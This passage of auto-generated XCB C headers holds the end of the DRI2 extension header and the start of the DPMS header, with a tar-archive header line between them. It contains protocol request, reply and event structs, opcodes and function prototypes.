xcb_dri2_driver_type_t; typedef enum xcb_dri2_event_type_t { XCB_DRI2_EVENT_TYPE_EXCHANGE_COMPLETE = 1, XCB_DRI2_EVENT_TYPE_BLIT_COMPLETE = 2, XCB_DRI2_EVENT_TYPE_FLIP_COMPLETE = 3 } xcb_dri2_event_type_t; /** * @brief xcb_dri2_dri2_buffer_t **/ typedef struct xcb_dri2_dri2_buffer_t { uint32_t attachment; uint32_t name; uint32_t pitch; uint32_t cpp; uint32_t flags; } xcb_dri2_dri2_buffer_t; /** * @brief xcb_dri2_dri2_buffer_iterator_t **/ typedef struct xcb_dri2_dri2_buffer_iterator_t { xcb_dri2_dri2_buffer_t *data; int rem; int index; } xcb_dri2_dri2_buffer_iterator_t; /** * @brief xcb_dri2_attach_format_t **/ typedef struct xcb_dri2_attach_format_t { uint32_t attachment; uint32_t format; } xcb_dri2_attach_format_t; /** * @brief xcb_dri2_attach_format_iterator_t **/ typedef struct xcb_dri2_attach_format_iterator_t { xcb_dri2_attach_format_t *data; int rem; int index; } xcb_dri2_attach_format_iterator_t; /** * @brief xcb_dri2_query_version_cookie_t **/ typedef struct xcb_dri2_query_version_cookie_t { unsigned int sequence; } xcb_dri2_query_version_cookie_t; /** Opcode for xcb_dri2_query_version. */ #define XCB_DRI2_QUERY_VERSION 0 /** * @brief xcb_dri2_query_version_request_t **/ typedef struct xcb_dri2_query_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t major_version; uint32_t minor_version; } xcb_dri2_query_version_request_t; /** * @brief xcb_dri2_query_version_reply_t **/ typedef struct xcb_dri2_query_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t major_version; uint32_t minor_version; } xcb_dri2_query_version_reply_t; /** * @brief xcb_dri2_connect_cookie_t **/ typedef struct xcb_dri2_connect_cookie_t { unsigned int sequence; } xcb_dri2_connect_cookie_t; /** Opcode for xcb_dri2_connect. */ #define XCB_DRI2_CONNECT 1 /** * @brief xcb_dri2_connect_request_t **/ typedef struct xcb_dri2_connect_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint32_t driver_type; } xcb_dri2_connect_request_t; /** * @brief xcb_dri2_connect_reply_t **/ typedef struct xcb_dri2_connect_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t driver_name_length; uint32_t device_name_length; uint8_t pad1[16]; } xcb_dri2_connect_reply_t; /** * @brief xcb_dri2_authenticate_cookie_t **/ typedef struct xcb_dri2_authenticate_cookie_t { unsigned int sequence; } xcb_dri2_authenticate_cookie_t; /** Opcode for xcb_dri2_authenticate. */ #define XCB_DRI2_AUTHENTICATE 2 /** * @brief xcb_dri2_authenticate_request_t **/ typedef struct xcb_dri2_authenticate_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_window_t window; uint32_t magic; } xcb_dri2_authenticate_request_t; /** * @brief xcb_dri2_authenticate_reply_t **/ typedef struct xcb_dri2_authenticate_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t authenticated; } xcb_dri2_authenticate_reply_t; /** Opcode for xcb_dri2_create_drawable. */ #define XCB_DRI2_CREATE_DRAWABLE 3 /** * @brief xcb_dri2_create_drawable_request_t **/ typedef struct xcb_dri2_create_drawable_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; } xcb_dri2_create_drawable_request_t; /** Opcode for xcb_dri2_destroy_drawable. */ #define XCB_DRI2_DESTROY_DRAWABLE 4 /** * @brief xcb_dri2_destroy_drawable_request_t **/ typedef struct xcb_dri2_destroy_drawable_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; } xcb_dri2_destroy_drawable_request_t; /** * @brief xcb_dri2_get_buffers_cookie_t **/ typedef struct xcb_dri2_get_buffers_cookie_t { unsigned int sequence; } xcb_dri2_get_buffers_cookie_t; /** Opcode for xcb_dri2_get_buffers. */ #define XCB_DRI2_GET_BUFFERS 5 /** * @brief xcb_dri2_get_buffers_request_t **/ typedef struct xcb_dri2_get_buffers_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t count; } xcb_dri2_get_buffers_request_t; /** * @brief xcb_dri2_get_buffers_reply_t **/ typedef struct xcb_dri2_get_buffers_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t width; uint32_t height; uint32_t count; uint8_t pad1[12]; } xcb_dri2_get_buffers_reply_t; /** * @brief xcb_dri2_copy_region_cookie_t **/ typedef struct xcb_dri2_copy_region_cookie_t { unsigned int sequence; } xcb_dri2_copy_region_cookie_t; /** Opcode for xcb_dri2_copy_region. */ #define XCB_DRI2_COPY_REGION 6 /** * @brief xcb_dri2_copy_region_request_t **/ typedef struct xcb_dri2_copy_region_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t region; uint32_t dest; uint32_t src; } xcb_dri2_copy_region_request_t; /** * @brief xcb_dri2_copy_region_reply_t **/ typedef struct xcb_dri2_copy_region_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; } xcb_dri2_copy_region_reply_t; /** * @brief xcb_dri2_get_buffers_with_format_cookie_t **/ typedef struct xcb_dri2_get_buffers_with_format_cookie_t { unsigned int sequence; } xcb_dri2_get_buffers_with_format_cookie_t; /** Opcode for xcb_dri2_get_buffers_with_format. */ #define XCB_DRI2_GET_BUFFERS_WITH_FORMAT 7 /** * @brief xcb_dri2_get_buffers_with_format_request_t **/ typedef struct xcb_dri2_get_buffers_with_format_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t count; } xcb_dri2_get_buffers_with_format_request_t; /** * @brief xcb_dri2_get_buffers_with_format_reply_t **/ typedef struct xcb_dri2_get_buffers_with_format_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t width; uint32_t height; uint32_t count; uint8_t pad1[12]; } xcb_dri2_get_buffers_with_format_reply_t; /** * @brief xcb_dri2_swap_buffers_cookie_t **/ typedef struct xcb_dri2_swap_buffers_cookie_t { unsigned int sequence; } xcb_dri2_swap_buffers_cookie_t; /** Opcode for xcb_dri2_swap_buffers. */ #define XCB_DRI2_SWAP_BUFFERS 8 /** * @brief xcb_dri2_swap_buffers_request_t **/ typedef struct xcb_dri2_swap_buffers_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t target_msc_hi; uint32_t target_msc_lo; uint32_t divisor_hi; uint32_t divisor_lo; uint32_t remainder_hi; uint32_t remainder_lo; } xcb_dri2_swap_buffers_request_t; /** * @brief xcb_dri2_swap_buffers_reply_t **/ typedef struct xcb_dri2_swap_buffers_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t swap_hi; uint32_t swap_lo; } xcb_dri2_swap_buffers_reply_t; /** * @brief xcb_dri2_get_msc_cookie_t **/ typedef struct xcb_dri2_get_msc_cookie_t { unsigned int sequence; } xcb_dri2_get_msc_cookie_t; /** Opcode for xcb_dri2_get_msc. */ #define XCB_DRI2_GET_MSC 9 /** * @brief xcb_dri2_get_msc_request_t **/ typedef struct xcb_dri2_get_msc_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; } xcb_dri2_get_msc_request_t; /** * @brief xcb_dri2_get_msc_reply_t **/ typedef struct xcb_dri2_get_msc_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t ust_hi; uint32_t ust_lo; uint32_t msc_hi; uint32_t msc_lo; uint32_t sbc_hi; uint32_t sbc_lo; } xcb_dri2_get_msc_reply_t; /** * @brief xcb_dri2_wait_msc_cookie_t **/ typedef struct xcb_dri2_wait_msc_cookie_t { unsigned int sequence; } xcb_dri2_wait_msc_cookie_t; /** Opcode for xcb_dri2_wait_msc. */ #define XCB_DRI2_WAIT_MSC 10 /** * @brief xcb_dri2_wait_msc_request_t **/ typedef struct xcb_dri2_wait_msc_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t target_msc_hi; uint32_t target_msc_lo; uint32_t divisor_hi; uint32_t divisor_lo; uint32_t remainder_hi; uint32_t remainder_lo; } xcb_dri2_wait_msc_request_t; /** * @brief xcb_dri2_wait_msc_reply_t **/ typedef struct xcb_dri2_wait_msc_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t ust_hi; uint32_t ust_lo; uint32_t msc_hi; uint32_t msc_lo; uint32_t sbc_hi; uint32_t sbc_lo; } xcb_dri2_wait_msc_reply_t; /** * @brief xcb_dri2_wait_sbc_cookie_t **/ typedef struct xcb_dri2_wait_sbc_cookie_t { unsigned int sequence; } xcb_dri2_wait_sbc_cookie_t; /** Opcode for xcb_dri2_wait_sbc. */ #define XCB_DRI2_WAIT_SBC 11 /** * @brief xcb_dri2_wait_sbc_request_t **/ typedef struct xcb_dri2_wait_sbc_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t target_sbc_hi; uint32_t target_sbc_lo; } xcb_dri2_wait_sbc_request_t; /** * @brief xcb_dri2_wait_sbc_reply_t **/ typedef struct xcb_dri2_wait_sbc_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t ust_hi; uint32_t ust_lo; uint32_t msc_hi; uint32_t msc_lo; uint32_t sbc_hi; uint32_t sbc_lo; } xcb_dri2_wait_sbc_reply_t; /** Opcode for xcb_dri2_swap_interval. */ #define XCB_DRI2_SWAP_INTERVAL 12 /** * @brief xcb_dri2_swap_interval_request_t **/ typedef struct xcb_dri2_swap_interval_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t interval; } xcb_dri2_swap_interval_request_t; /** * @brief xcb_dri2_get_param_cookie_t **/ typedef struct xcb_dri2_get_param_cookie_t { unsigned int sequence; } xcb_dri2_get_param_cookie_t; /** Opcode for xcb_dri2_get_param. */ #define XCB_DRI2_GET_PARAM 13 /** * @brief xcb_dri2_get_param_request_t **/ typedef struct xcb_dri2_get_param_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; xcb_drawable_t drawable; uint32_t param; } xcb_dri2_get_param_request_t; /** * @brief xcb_dri2_get_param_reply_t **/ typedef struct xcb_dri2_get_param_reply_t { uint8_t response_type; uint8_t is_param_recognized; uint16_t sequence; uint32_t length; uint32_t value_hi; uint32_t value_lo; } xcb_dri2_get_param_reply_t; /** Opcode for xcb_dri2_buffer_swap_complete. */ #define XCB_DRI2_BUFFER_SWAP_COMPLETE 0 /** * @brief xcb_dri2_buffer_swap_complete_event_t **/ typedef struct xcb_dri2_buffer_swap_complete_event_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint16_t event_type; uint8_t pad1[2]; xcb_drawable_t drawable; uint32_t ust_hi; uint32_t ust_lo; uint32_t msc_hi; uint32_t msc_lo; uint32_t sbc; } xcb_dri2_buffer_swap_complete_event_t; /** Opcode for xcb_dri2_invalidate_buffers. */ #define XCB_DRI2_INVALIDATE_BUFFERS 1 /** * @brief xcb_dri2_invalidate_buffers_event_t **/ typedef struct xcb_dri2_invalidate_buffers_event_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; xcb_drawable_t drawable; } xcb_dri2_invalidate_buffers_event_t; /** * Get the next element of the iterator * @param i Pointer to a xcb_dri2_dri2_buffer_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_dri2_dri2_buffer_t) */ void xcb_dri2_dri2_buffer_next (xcb_dri2_dri2_buffer_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_dri2_dri2_buffer_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_dri2_dri2_buffer_end (xcb_dri2_dri2_buffer_iterator_t i); /** * Get the next element of the iterator * @param i Pointer to a xcb_dri2_attach_format_iterator_t * * Get the next element in the iterator. The member rem is * decreased by one. The member data points to the next * element. The member index is increased by sizeof(xcb_dri2_attach_format_t) */ void xcb_dri2_attach_format_next (xcb_dri2_attach_format_iterator_t *i); /** * Return the iterator pointing to the last element * @param i An xcb_dri2_attach_format_iterator_t * @return The iterator pointing to the last element * * Set the current element in the iterator to the last element. * The member rem is set to 0. The member data points to the * last element. */ xcb_generic_iterator_t xcb_dri2_attach_format_end (xcb_dri2_attach_format_iterator_t i); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_query_version_cookie_t xcb_dri2_query_version (xcb_connection_t *c, uint32_t major_version, uint32_t minor_version); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_query_version_cookie_t xcb_dri2_query_version_unchecked (xcb_connection_t *c, uint32_t major_version, uint32_t minor_version); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_query_version_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_query_version_reply_t * xcb_dri2_query_version_reply (xcb_connection_t *c, xcb_dri2_query_version_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_dri2_connect_sizeof (const void *_buffer); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_connect_cookie_t xcb_dri2_connect (xcb_connection_t *c, xcb_window_t window, uint32_t driver_type); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_connect_cookie_t xcb_dri2_connect_unchecked (xcb_connection_t *c, xcb_window_t window, uint32_t driver_type); char * xcb_dri2_connect_driver_name (const xcb_dri2_connect_reply_t *R); int xcb_dri2_connect_driver_name_length (const xcb_dri2_connect_reply_t *R); xcb_generic_iterator_t xcb_dri2_connect_driver_name_end (const xcb_dri2_connect_reply_t *R); void * xcb_dri2_connect_alignment_pad (const xcb_dri2_connect_reply_t *R); int xcb_dri2_connect_alignment_pad_length (const xcb_dri2_connect_reply_t *R); xcb_generic_iterator_t xcb_dri2_connect_alignment_pad_end (const xcb_dri2_connect_reply_t *R); char * xcb_dri2_connect_device_name (const xcb_dri2_connect_reply_t *R); int xcb_dri2_connect_device_name_length (const xcb_dri2_connect_reply_t *R); xcb_generic_iterator_t xcb_dri2_connect_device_name_end (const xcb_dri2_connect_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_connect_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_connect_reply_t * xcb_dri2_connect_reply (xcb_connection_t *c, xcb_dri2_connect_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_authenticate_cookie_t xcb_dri2_authenticate (xcb_connection_t *c, xcb_window_t window, uint32_t magic); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_authenticate_cookie_t xcb_dri2_authenticate_unchecked (xcb_connection_t *c, xcb_window_t window, uint32_t magic); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_authenticate_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_authenticate_reply_t * xcb_dri2_authenticate_reply (xcb_connection_t *c, xcb_dri2_authenticate_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_dri2_create_drawable_checked (xcb_connection_t *c, xcb_drawable_t drawable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_dri2_create_drawable (xcb_connection_t *c, xcb_drawable_t drawable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_dri2_destroy_drawable_checked (xcb_connection_t *c, xcb_drawable_t drawable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_dri2_destroy_drawable (xcb_connection_t *c, xcb_drawable_t drawable); int xcb_dri2_get_buffers_sizeof (const void *_buffer, uint32_t attachments_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_get_buffers_cookie_t xcb_dri2_get_buffers (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t count, uint32_t attachments_len, const uint32_t *attachments); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_get_buffers_cookie_t xcb_dri2_get_buffers_unchecked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t count, uint32_t attachments_len, const uint32_t *attachments); xcb_dri2_dri2_buffer_t * xcb_dri2_get_buffers_buffers (const xcb_dri2_get_buffers_reply_t *R); int xcb_dri2_get_buffers_buffers_length (const xcb_dri2_get_buffers_reply_t *R); xcb_dri2_dri2_buffer_iterator_t xcb_dri2_get_buffers_buffers_iterator (const xcb_dri2_get_buffers_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_get_buffers_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_get_buffers_reply_t * xcb_dri2_get_buffers_reply (xcb_connection_t *c, xcb_dri2_get_buffers_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_copy_region_cookie_t xcb_dri2_copy_region (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t region, uint32_t dest, uint32_t src); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_copy_region_cookie_t xcb_dri2_copy_region_unchecked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t region, uint32_t dest, uint32_t src); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_copy_region_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_copy_region_reply_t * xcb_dri2_copy_region_reply (xcb_connection_t *c, xcb_dri2_copy_region_cookie_t cookie /**< */, xcb_generic_error_t **e); int xcb_dri2_get_buffers_with_format_sizeof (const void *_buffer, uint32_t attachments_len); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_get_buffers_with_format_cookie_t xcb_dri2_get_buffers_with_format (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t count, uint32_t attachments_len, const xcb_dri2_attach_format_t *attachments); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_get_buffers_with_format_cookie_t xcb_dri2_get_buffers_with_format_unchecked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t count, uint32_t attachments_len, const xcb_dri2_attach_format_t *attachments); xcb_dri2_dri2_buffer_t * xcb_dri2_get_buffers_with_format_buffers (const xcb_dri2_get_buffers_with_format_reply_t *R); int xcb_dri2_get_buffers_with_format_buffers_length (const xcb_dri2_get_buffers_with_format_reply_t *R); xcb_dri2_dri2_buffer_iterator_t xcb_dri2_get_buffers_with_format_buffers_iterator (const xcb_dri2_get_buffers_with_format_reply_t *R); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_get_buffers_with_format_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_get_buffers_with_format_reply_t * xcb_dri2_get_buffers_with_format_reply (xcb_connection_t *c, xcb_dri2_get_buffers_with_format_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_swap_buffers_cookie_t xcb_dri2_swap_buffers (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t target_msc_hi, uint32_t target_msc_lo, uint32_t divisor_hi, uint32_t divisor_lo, uint32_t remainder_hi, uint32_t remainder_lo); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_swap_buffers_cookie_t xcb_dri2_swap_buffers_unchecked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t target_msc_hi, uint32_t target_msc_lo, uint32_t divisor_hi, uint32_t divisor_lo, uint32_t remainder_hi, uint32_t remainder_lo); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_swap_buffers_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_swap_buffers_reply_t * xcb_dri2_swap_buffers_reply (xcb_connection_t *c, xcb_dri2_swap_buffers_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_get_msc_cookie_t xcb_dri2_get_msc (xcb_connection_t *c, xcb_drawable_t drawable); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_get_msc_cookie_t xcb_dri2_get_msc_unchecked (xcb_connection_t *c, xcb_drawable_t drawable); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_get_msc_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_get_msc_reply_t * xcb_dri2_get_msc_reply (xcb_connection_t *c, xcb_dri2_get_msc_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_wait_msc_cookie_t xcb_dri2_wait_msc (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t target_msc_hi, uint32_t target_msc_lo, uint32_t divisor_hi, uint32_t divisor_lo, uint32_t remainder_hi, uint32_t remainder_lo); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_wait_msc_cookie_t xcb_dri2_wait_msc_unchecked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t target_msc_hi, uint32_t target_msc_lo, uint32_t divisor_hi, uint32_t divisor_lo, uint32_t remainder_hi, uint32_t remainder_lo); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_wait_msc_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_wait_msc_reply_t * xcb_dri2_wait_msc_reply (xcb_connection_t *c, xcb_dri2_wait_msc_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_wait_sbc_cookie_t xcb_dri2_wait_sbc (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t target_sbc_hi, uint32_t target_sbc_lo); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_wait_sbc_cookie_t xcb_dri2_wait_sbc_unchecked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t target_sbc_hi, uint32_t target_sbc_lo); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_wait_sbc_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_wait_sbc_reply_t * xcb_dri2_wait_sbc_reply (xcb_connection_t *c, xcb_dri2_wait_sbc_cookie_t cookie /**< */, xcb_generic_error_t **e); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will not cause * a reply to be generated. Any returned error will be * saved for handling by xcb_request_check(). */ xcb_void_cookie_t xcb_dri2_swap_interval_checked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t interval); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_void_cookie_t xcb_dri2_swap_interval (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t interval); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * */ xcb_dri2_get_param_cookie_t xcb_dri2_get_param (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t param); /** * * @param c The connection * @return A cookie * * Delivers a request to the X server. * * This form can be used only if the request will cause * a reply to be generated. Any returned error will be * placed in the event queue. */ xcb_dri2_get_param_cookie_t xcb_dri2_get_param_unchecked (xcb_connection_t *c, xcb_drawable_t drawable, uint32_t param); /** * Return the reply * @param c The connection * @param cookie The cookie * @param e The xcb_generic_error_t supplied * * Returns the reply of the request asked by * * The parameter @p e supplied to this function must be NULL if * xcb_dri2_get_param_unchecked(). is used. * Otherwise, it stores the error if any. * * The returned value must be freed by the caller using free(). */ xcb_dri2_get_param_reply_t * xcb_dri2_get_param_reply (xcb_connection_t *c, xcb_dri2_get_param_cookie_t cookie /**< */, xcb_generic_error_t **e); #ifdef __cplusplus } #endif #endif /** * @} */ xcb/dpms.h 0000644 00000027224 15246445047 0006456 0 ustar 00 /* * This file generated automatically from dpms.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_DPMS_API XCB DPMS API * @brief DPMS XCB Protocol Implementation. * @{ **/ #ifndef __DPMS_H #define __DPMS_H #include "xcb.h" #ifdef __cplusplus extern "C" { #endif #define XCB_DPMS_MAJOR_VERSION 0 #define XCB_DPMS_MINOR_VERSION 0 extern xcb_extension_t xcb_dpms_id; /** * @brief xcb_dpms_get_version_cookie_t **/ typedef struct xcb_dpms_get_version_cookie_t { unsigned int sequence; } xcb_dpms_get_version_cookie_t; /** Opcode for xcb_dpms_get_version. */ #define XCB_DPMS_GET_VERSION 0 /** * @brief xcb_dpms_get_version_request_t **/ typedef struct xcb_dpms_get_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint16_t client_major_version; uint16_t client_minor_version; } xcb_dpms_get_version_request_t; /** * @brief xcb_dpms_get_version_reply_t **/ typedef struct xcb_dpms_get_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t server_major_version; uint16_t server_minor_version; } xcb_dpms_get_version_reply_t; /** * @brief xcb_dpms_capable_cookie_t **/ typedef struct xcb_dpms_capable_cookie_t { unsigned int sequence; } xcb_dpms_capable_cookie_t; /** Opcode for xcb_dpms_capable. */ #define XCB_DPMS_CAPABLE 1 /** * @brief xcb_dpms_capable_request_t **/ typedef struct xcb_dpms_capable_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_dpms_capable_request_t; /** * @brief xcb_dpms_capable_reply_t **/ typedef struct xcb_dpms_capable_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint8_t capable; uint8_t pad1[23]; } xcb_dpms_capable_reply_t; /** * @brief xcb_dpms_get_timeouts_cookie_t **/ typedef struct xcb_dpms_get_timeouts_cookie_t { unsigned int sequence; } xcb_dpms_get_timeouts_cookie_t; /** Opcode for xcb_dpms_get_timeouts. */ #define XCB_DPMS_GET_TIMEOUTS 2 /** * @brief xcb_dpms_get_timeouts_request_t **/ typedef struct xcb_dpms_get_timeouts_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_dpms_get_timeouts_request_t; /** * @brief xcb_dpms_get_timeouts_reply_t **/ typedef struct xcb_dpms_get_timeouts_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint16_t standby_timeout; uint16_t suspend_timeout; uint16_t off_timeout; uint8_t pad1[18]; } xcb_dpms_get_timeouts_reply_t; /** Opcode for xcb_dpms_set_timeouts. */ #define XCB_DPMS_SET_TIMEOUTS 3 /** * @brief xcb_dpms_set_timeouts_request_t **/ typedef struct xcb_dpms_set_timeouts_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint16_t standby_timeout; uint16_t suspend_timeout; uint16_t off_timeout; } xcb_dpms_set_timeouts_request_t; /** Opcode for xcb_dpms_enable. */ #define XCB_DPMS_ENABLE 4 /** * @brief xcb_dpms_enable_request_t **/ typedef struct xcb_dpms_enable_request_t { uint8_t major_opcode; uint8_t minor_opcode; 